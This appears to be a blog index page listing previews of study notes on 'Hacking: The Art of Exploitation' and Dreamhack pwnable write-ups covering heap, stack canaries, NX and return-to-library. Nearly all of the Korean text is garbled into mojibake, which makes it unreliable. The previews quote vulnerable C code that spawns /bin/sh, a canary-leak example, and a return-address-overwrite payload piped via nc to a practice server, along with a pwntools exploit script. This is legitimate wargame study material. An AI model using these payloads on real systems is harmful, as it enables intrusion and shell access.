songining
article thumbnail
<ํ•ดํ‚น: ๊ณต๊ฒฉ์˜ ์˜ˆ์ˆ > 5ํšŒ์ฐจ ์Šคํ„ฐ๋””
Hacking/System Hacking 2022. 5. 4. 21:18

ํž™์ด๋ž€ ? ์š”์ฒญ์— ๋”ฐ๋ผ ํ• ๋‹น๋˜๋ฉฐ chunk ํ˜•ํƒœ๋กœ ๋‚˜๋‰  ์ˆ˜ ์žˆ๋Š” ์ธ์ ‘ํ•œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ ํž™์— ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•  ๋•Œ๋Š” malloc() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•จ malloc ํ•จ์ˆ˜์—๋Š” ํฌ๊ธฐ๋ฅผ ์ •ํ•˜๋Š” ์ธ์ž๊ฐ€ ํ•„์š”ํ•˜๊ณ , ๊ทธ ํฌ๊ธฐ๋งŒํผ ๊ณต๊ฐ„์„ ํž™ ์„ธ๊ทธ๋จผํŠธ์— ํ• ๋‹นํ•œ๋‹ค. (Top Chunk๋ฅผ ์‚ฌ์šฉํ•ด ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น) ๊ทธ๋ฆฌ๊ณ  ๋ณด์ด๋“œ ํฌ์ธํ„ฐ๋กœ ํ• ๋‹นํ•œ ๋ฉ”๋ชจ๋ฆฌ์˜ ์‹œ์ž‘์ฃผ์†Œ๋ฅผ ๋ฆฌํ„ดํ•œ๋‹ค. mallocํ•จ์ˆ˜๊ฐ€ ์–ด๋–ค ์ด์œ ๋กœ ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น์„ ํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ๋˜๋ฉด 0๊ฐ’์„ ๋ฆฌํ„ดํ•œ๋‹ค. malloc์— ๋Œ€์‘ํ•˜๋Š” ํ•ด์ œ ํ•จ์ˆ˜๋Š” free()์ด๋‹ค. free ํ•จ์ˆ˜์—๋Š” ํฌ์ธํ„ฐ ์ธ์ž๊ฐ€ ํ•„์š”ํ•˜๊ณ , ๋‚˜์ค‘์— ๋‹ค์‹œ ๊ทธ ๊ณต๊ฐ„์„ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ์ธ์ž ํฌ์ธํ„ฐ์˜ ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น์„ ํ•ด์ œํ•œ๋‹ค. char *char_ptr; // ํž™ ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น (mem_size ๋ฐ”์ดํŠธ ๋งŒํผ ํ• ๋‹น) char_ptr = (ch..

<ํ•ดํ‚น: ๊ณต๊ฒฉ์˜ ์˜ˆ์ˆ > 4ํšŒ์ฐจ ์Šคํ„ฐ๋””
Hacking/System Hacking 2022. 5. 3. 19:32

์ฑ…์„ ๋ณด๊ณ  ๊ณต๋ถ€ํ•œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค X86 ํ”„๋กœ์„ธ์„œ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ๊ตฌ์กฐ์ฒด(structs) -> ์—ฌ๋Ÿฌ๊ฐœ์˜ ๋ณ€์ˆ˜๋ฅผ ๊ทธ๋ฃน์œผ๋กœ ๋ฌถ์–ด ํ•˜๋‚˜์ฒ˜๋Ÿผ ๋‹ค๋ฃจ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด ๊ตฌ์กฐ์ฒด๋ผ๋Š” ๊ฒƒ์„ ์‚ฌ์šฉ -> ๊ตฌ์กฐ์ฒด๊ฐ€ ์ •์˜๋œ ํ›„์—๋Š” ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ณ€์ˆ˜ ํƒ€์ž…์ด ๋˜๊ณ , ๊ตฌ์กฐ์ฒด ํƒ€์ž…์œผ๋กœ ๋ณ€์ˆ˜๋‚˜ ํฌ์ธํ„ฐ ์„ ์–ธ์ด ๊ฐ€๋Šฅํ•ด์ง struct ๊ตฌ์กฐ์ฒด์ด๋ฆ„ *ํฌ์ธํ„ฐ์ด๋ฆ„ = malloc(sizeof(struct ๊ตฌ์กฐ์ฒด์ด๋ฆ„));๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ตฌ์กฐ๋กœ ๊ตฌ์กฐ์ฒด ํฌ์ธํ„ฐ ์„ ์–ธ ๊ฐ€๋Šฅ ์‹œ๊ฐ„ ํ•จ์ˆ˜๋ฅผ ๋‹ค๋ฃฐ ๋•Œ /usr/include/time.h์— ์ •์˜๋˜์–ด ์žˆ๋Š” tm ๊ตฌ์กฐ์ฒด๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•˜๋‹ค. tm ๊ตฌ์กฐ์ฒด์˜ ์ •์˜ struct tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_y..

article thumbnail
<ํ•ดํ‚น: ๊ณต๊ฒฉ์˜ ์˜ˆ์ˆ > 3ํšŒ์ฐจ ์Šคํ„ฐ๋””
Hacking/System Hacking 2022. 5. 1. 16:08

์ฑ…์„ ๋ณด๊ณ  ๊ณต๋ถ€ํ•œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค X86 ํ”„๋กœ์„ธ์„œ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. C์–ธ์–ด์—์„œ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ํฌ๊ฒŒ 2๊ฐ€์ง€๊ฐ€ ์žˆ๋‹ค. 1. ํŒŒ์ผ ์„œ์ˆ ์ž (File Descriptor) 2. ํŒŒ์ผ ์ŠคํŠธ๋ฆผ (Filestream) - ํŒŒ์ผ ์ŠคํŠธ๋ฆผ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ํ”„๋กœ๊ทธ๋ž˜๋ฐ ํ•˜๊ธฐ๋Š” ํŽธํ•˜์ง€๋งŒ ํŒŒ์ผ ์„œ์ˆ ์ž๊ฐ€ ์ข€ ๋” ์ง์ ‘์ ์ž„ ( ํŒŒ์ผ์„œ์ˆ ์ž๋Š” ๋กœ์šฐ๋ ˆ๋ฒจ, ํŒŒ์ผ ์ŠคํŠธ๋ฆผ์€ ํ•˜์ด๋ ˆ๋ฒจ ์ž…์ถœ๋ ฅ์ž„) ํŒŒ์ผ ์„œ์ˆ ์ž - open() : ํ•จ์ˆ˜๋ฅผ ์ฝ๊ฑฐ๋‚˜ ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ํŒŒ์ผ์„ ์—ด๊ณ  ํŒŒ์ผ ์„œ์ˆ ์ž๋ฅผ ๋ฆฌํ„ดํ•œ๋‹ค. ํŒŒ์ผ ์„œ์ˆ ์ž๋Š” ๋‹จ์ˆœํ•œ ์ •์ˆ˜ ๊ฐ’์ด์ง€๋งŒ ์—ด๋ฆฐ ํŒŒ์ผ๋งˆ๋‹ค ๊ณ ์œ ํ•˜๋‹ค. ํŒŒ์ผ ์„œ์ˆ ์ž๋Š” ์—ด๋ฆฐ ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ์™€ ๊ฐ™์€ ์ธ์ž๋กœ ๋‹ค๋ฅธ ํ•จ์ˆ˜์—๊ฒŒ ๋„˜๊ฒจ์ง„๋‹ค. - close() : ํŒŒ์ผ ์„œ์ˆ ์ž๋ฅผ ์ธ์ž๋กœ ์‚ฌ์šฉ - read() : ํŒŒ์ผ ์„œ์ˆ ์ž, ์ฝ๊ฑฐ๋‚˜ ์“ธ ๋ฐ์ดํ„ฐ๋ฅผ ..

<ํ•ดํ‚น: ๊ณต๊ฒฉ์˜ ์˜ˆ์ˆ > 2ํšŒ์ฐจ ์Šคํ„ฐ๋””
Hacking/System Hacking 2022. 4. 28. 15:57

์ฑ…์„ ๋ณด๊ณ  ๊ณต๋ถ€ํ•œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค X86 ํ”„๋กœ์„ธ์„œ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ๋ฉ”๋ชจ๋ฆฌ ์„ธ๊ทธ๋จผํŠธ ์ปดํŒŒ์ผ๋œ ํ”„๋กœ๊ทธ๋žจ ๋ฉ”๋ชจ๋ฆฌ๋Š” ์ฝ”๋“œ, ๋ฐ์ดํ„ฐ, bss, ํž™, ์Šคํƒ์˜ 5๊ฐœ์˜ ์„ธ๊ทธ๋จผํŠธ๋กœ ๋‚˜๋‰œ๋‹ค. ์ฝ”๋“œ ํ”„๋กœ๊ทธ๋žจ์˜ ๊ธฐ๊ณ„์–ด ๋ช…๋ น์ด ๋“ค์–ด์žˆ์Œ ํ”„๋กœ๊ทธ๋žจ์ด ์‹คํ–‰๋˜๋ฉด EIP๋Š” ์ฝ”๋“œ ์„ธ๊ทธ๋จผํŠธ์˜ ๋งจ ์ฒ˜์Œ ์œ„์น˜๋กœ ์„ค์ •๋œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ํ”„๋กœ์„ธ์Šค๋Š” ๋‹ค์Œ ์ž‘์—…์„ ๋ฐ˜๋ณต ์‹คํ–‰ํ•œ๋‹ค. 1. EIP๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๋Š” ๋ช…๋ น์„ ์ฝ๋Š”๋‹ค. 2. ๊ทธ ๋ช…๋ น์˜ ๊ธธ์ด๋ฅผ EIP์— ๋”ํ•œ๋‹ค. 3. 1๋‹จ๊ณ„์—์„œ ์ฝ์€ ๋ช…๋ น์„ ์ˆ˜ํ–‰ํ•œ๋‹ค. 4. 1๋‹จ๊ณ„๋กœ ๋Œ์•„๊ฐ„๋‹ค. - ์ฝ”๋“œ ์„ธ๊ทธ๋จผํŠธ๋Š” ๋ณ€์ˆ˜๊ฐ€ ์•„๋‹Œ ์ฝ”๋“œ๋งŒ์„ ์ €์žฅํ•˜๊ณ  ์žˆ์œผ๋ฏ€๋กœ ์“ฐ๊ธฐ๊ฐ€ ๊ธˆ์ง€๋˜์–ด์žˆ๋‹ค. (์‚ฌ์šฉ์ž๊ฐ€ ํ”„๋กœ๊ทธ๋žจ ์ฝ”๋“œ๋ฅผ ๋ณ€๊ฒฝํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ๋ง‰๊ธฐ ์œ„ํ•จ) ์ฝ”๋“œ ์„ธ๊ทธ๋จผํŠธ์— ์“ฐ๋ ค๋Š” ์‹œ๋„๊ฐ€ ์žˆ์„ ๊ฒฝ์šฐ ์šด์˜์ฒด์ œ๊ฐ€ ๊ทธ ์‚ฌ์‹ค์„ ์‚ฌ์šฉ์ž์—๊ฒŒ ์•Œ๋ฆฌ๊ณ  ํ”„๋กœ๊ทธ๋žจ์€ ์ข…๋ฃŒ๋จ..

<ํ•ดํ‚น: ๊ณต๊ฒฉ์˜ ์˜ˆ์ˆ > 1ํšŒ์ฐจ ์Šคํ„ฐ๋””
Hacking/System Hacking 2022. 4. 25. 23:07

์ฑ…์„ ๋ณด๊ณ  ๊ณต๋ถ€ํ•œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค X86 ํ”„๋กœ์„ธ์„œ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. GDB ์กฐ์‚ฌ ๋ช…๋ น ํ˜•์‹ o : 8์ง„๋ฒ• x : 16์ง„๋ฒ• u : ๋ถ€ํ˜ธ๊ฐ€ ์—†๋Š” ํ‘œ์ค€ 10์ง„๋ฒ• t : 2์ง„๋ฒ• ๋ฉ”๋ชจ๋ฆฌ ๋‹จ์ผ ์œ ๋‹›์˜ ๊ธฐ๋ณธ ํฌ๊ธฐ๋Š” '์›Œ๋“œ' ๋ผ ๋ถˆ๋ฆฌ๋Š” 4 byte (32bit ํ™˜๊ฒฝ์—์„œ) b ๋‹จ์ผ ๋ฐ”์ดํŠธ h 2byte์˜ ํ•˜ํ”„์›Œ๋“œ w 4byte์˜ ์›Œ๋“œ g 8byte์˜ ์ž์ด์–ธํŠธ eip ๋ ˆ์ง€์Šคํ„ฐ : ํ”„๋กœ์„ธ์„œ๊ฐ€ ์ฝ๊ณ  ์žˆ๋Š” ํ˜„์žฌ ๋ช…๋ น์˜ ์œ„์น˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ช…๋ น ํฌ์ธํ„ฐ ๋ ˆ์ง€์Šคํ„ฐ i r eip : eip ๋ ˆ์ง€์Šคํ„ฐ์˜ ํ˜„์žฌ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ x/x $eip : 16์ง„๋ฒ•์œผ๋กœ eip๊ฐ€ ๊ฐ–๊ณ  ์žˆ๋Š” ๊ฐ’ ์ถœ๋ ฅ ($eip๋Š” ๊ทธ ์ˆœ๊ฐ„ eip๊ฐ€ ๊ฐ–๊ณ  ์žˆ๋Š” ๊ฐ’์„ ์˜๋ฏธํ•œ๋‹ค.) x/xw $eip : 16์ง„๋ฒ•์œผ๋กœ 4byte๋งŒํผ ์ถœ๋ ฅ ( ๋ฆฌํ‹€์—”๋””์•ˆ x ) x/i $eip : eip ์œ„์น˜..

article thumbnail
[dreamhack] Return to Library
Hacking/System Hacking 2022. 4. 10. 23:49

Return Address Overwrite: ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ์•…์„ฑ ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์„œ ์…ธ ํš๋“ Stack Canary: ์Šคํƒ ํ”„๋ ˆ์ž„์˜ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์ „์— ๋žœ๋คํ•œ ์นด๋‚˜๋ฆฌ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๊ธฐ ์–ด๋ ต๊ฒŒ ํ•จ Return to Shellcode: ์นด๋‚˜๋ฆฌ๋ฅผ ์šฐํšŒํ•˜๊ณ , ์…ธ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•œ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์„œ ์…ธ ํš๋“ ASLR: ์ž„์˜ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๊ธฐ ์–ด๋ ต๊ฒŒ ํ•จ NX: ๊ฐ ์„ธ๊ทธ๋จผํŠธ์— ๋ถˆํ•„์š”ํ•œ ์‹คํ–‰๊ถŒํ•œ์„ ์ œ๊ฑฐํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜ ๋ฒ„ํผ์— ์ฃผ์ž…ํ•œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์–ด๋ ต๊ฒŒํ•จ Return to Library -> NX๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ณต๊ฒฉ๊ธฐ๋ฒ• NX๋กœ ์ธํ•ด ์ฝ”๋“œ ์˜์—ญ ์™ธ์—๋Š” ์‹คํ–‰๊ถŒํ•œ์ด ์—†์–ด์ง€๊ธฐ ๋•Œ๋ฌธ์— ์‹คํ–‰๊ถŒํ•œ์ด ๋‚จ์•„์žˆ๋Š” ์ฝ”๋“œ ์˜์—ญ์œผ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ๊ณ ์•ˆํ–ˆ๋‹ค. ํ”„๋กœ์„ธ์Šค์— ์‹คํ–‰ ๊ถŒํ•œ์ด ์žˆ๋Š” ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์€..

article thumbnail
[dreamhack] ssp_001 ๋ฌธ์ œํ’€์ด
Hacking/System Hacking 2022. 4. 4. 02:41

ํ™˜๊ฒฝ ์„ธํŒ… Ubuntu 16.04 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } void print_box(un..

article thumbnail
์นด๋‚˜๋ฆฌ ์šฐํšŒ๊ธฐ๋ฒ•
Hacking/System Hacking 2022. 4. 2. 18:05

checksec ./ํŒŒ์ผ์‹คํ–‰๋ช… # ํ•ด๋‹น ํŒŒ์ผ์— ์ ์šฉ๋œ ๋ณดํ˜ธ๊ธฐ๋ฒ•๋“ค์„ ๋ณด์—ฌ์ค€๋‹ค. pwntools ์„ค์น˜ํ•˜๋ฉด ์‹คํ–‰ ๊ฐ€๋Šฅ ์นด๋‚˜๋ฆฌ๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธ #include #include int main() { char buf[0x50]; printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf); //byte printf("[1] Leak the canary\n"); printf("Input: "); fflush(stdout); read(0, buf, 0x100); printf("Your input is '%s'\n", buf); puts("..

์Šคํƒ ์นด๋‚˜๋ฆฌ (Stack canary)
Hacking/System Hacking 2022. 4. 2. 17:56

์˜ค๋Š˜์€ ์Šคํƒ ์นด๋‚˜๋ฆฌ์— ๋Œ€ํ•ด ๊ณต๋ถ€๋ฅผ ํ•  ๊ฒƒ์ด๋‹ค! ์Šคํƒ์นด๋‚˜๋ฆฌ๋ž€? - ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ๋ถ€ํ„ฐ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ณดํ˜ธํ•˜๋Š” ๋ณดํ˜ธ๊ธฐ๋ฒ• - ์Šคํƒ ์นด๋‚˜๋ฆฌ๋Š” ํ•จ์ˆ˜์˜ ํ”„๋กค๋กœ๊ทธ์—์„œ ์Šคํƒ ๋ฒ„ํผ์™€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์‚ฌ์ด์— ์ž„์˜์˜ ๊ฐ’์„ ์‚ฝ์ž…ํ•˜๊ณ , ํ•จ์ˆ˜์˜ ์—ํ•„๋กœ๊ทธ์—์„œ ํ•ด๋‹น ๊ฐ’์˜ ๋ณ€์กฐ๋ฅผ ํ™•์ธํ•˜๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด๋‹ค. ์นด๋‚˜๋ฆฌ ๊ฐ’์˜ ๋ณ€์กฐ๊ฐ€ ํ™•์ธ๋˜๋ฉด ํ”„๋กœ์„ธ์Šค๋Š” ๊ฐ•์ œ๋กœ ์ข…๋ฃŒ๋œ๋‹ค!@! fs? -> TLS(Thread Local Storage)์— ์นด๋‚˜๋ฆฌ๋ฅผ ๋น„๋กฏํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค ์‹คํ–‰์— ํ•„์š”ํ•œ ์—ฌ๋Ÿฌ ๋ฐ์ดํ„ฐ๊ฐ€ ์ €์žฅ๋œ๋‹ค๊ณ ๋งŒ ์ผ๋‹จ ์•Œ๊ณ  ์žˆ์ž Ex) ์˜ˆ๋ฅผ ๋“ค์–ด buf[8]์„ readํ•˜๋Š” ํ•จ์ˆ˜์— ๋Œ€ํ•ด ์Šคํƒ๋ฒ„ํผ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๊ณต๊ฒฉ์„ ์ง„ํ–‰ํ•  ๊ฒฝ์šฐ rbp-8 ์— ์ €์žฅ๋œ ์นด๋‚˜๋ฆฌ์™€ fs:0x28 ์— ์ €์žฅ๋œ ์นด๋‚˜๋ฆฌ๋ฅผ xorํ•ด์„œ ์—ฐ์‚ฐ ๊ฒฐ๊ณผ๊ฐ€ 0์ด๋ฉด je ์„ฑ๊ณต์œผ๋กœ ์ •์ƒ ๋ฐ˜ํ™˜! ๊ฒฐ๊ณผ๊ฐ€ ๋‹ค๋ฅธ ๊ฒฝ..

[dreamhack] basic_exploitation_001 ๋ฌธ์ œํ’€์ด
Hacking/System Hacking 2022. 4. 2. 01:10

ํ”ผ๊ณคํ•œ๋ฐ ์—ด์‹ฌํžˆ ๋†€์•˜์œผ๋‹ˆ๊นŒ ์–‘์‹ฌ์ƒ ์ผ๋‹จ ํ•œ๋ฌธ์ œ ํ’€๊ณ ์ž๋ ค๊ตฌ,,, Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ํ™˜๊ฒฝ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() ..

article thumbnail
[dreamhack] basic_exploitation_000 ๋ฌธ์ œํ’€์ด
Hacking/System Hacking 2022. 4. 1. 11:45

pwnable ์ดˆ๋ณด์ธ ๋‚˜์—๊ฒŒ๋Š” ์–ด๋ ค์šด ๋ฌธ์ œ์˜€๋‹ค.. ์›๊ฒฉ ์„œ๋ฒ„ ํ™˜๊ฒฝ์€ ์ด๋Ÿฌํ•˜๋‹ค Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ์šฐ์„  32bit ํ™˜๊ฒฝ์ด๊ธฐ ๋•Œ๋ฌธ์— ์Šคํƒํ”„๋ ˆ์ž„๊ตฌ์กฐ๋Š” buf(n) | sfp(4) | ret(4) ์š”๋Ÿฌํ•˜๋‹ค. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL..

article thumbnail
[dreamhack] Return Address Overwrite ํ’€์ด
Hacking/System Hacking 2022. 3. 31. 16:44

Host: host1.dreamhack.games Port: 10469/tcp 1. python ๊ณต๊ฒฉ ์ฝ”๋“œ ์ด์šฉ (python -c "print('A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host1.dreamhack.games 10469 2. pwntools ์ด์šฉ from pwn import * p = remote('host1.dreamhack.games',10469) # ์›๊ฒฉ ์„œ๋ฒ„ ๋Œ€์ƒ์œผ๋กœ ์ต์Šคํ”Œ๋กœ์ž‡ ์ˆ˜ํ–‰ context.arch="amd64" # x86-64 payload = 'A' * 0x30 payload += 'B' * 0x08 payload += '\xaa\x06\x40\x00\x00\x00\x00\x00' # get_..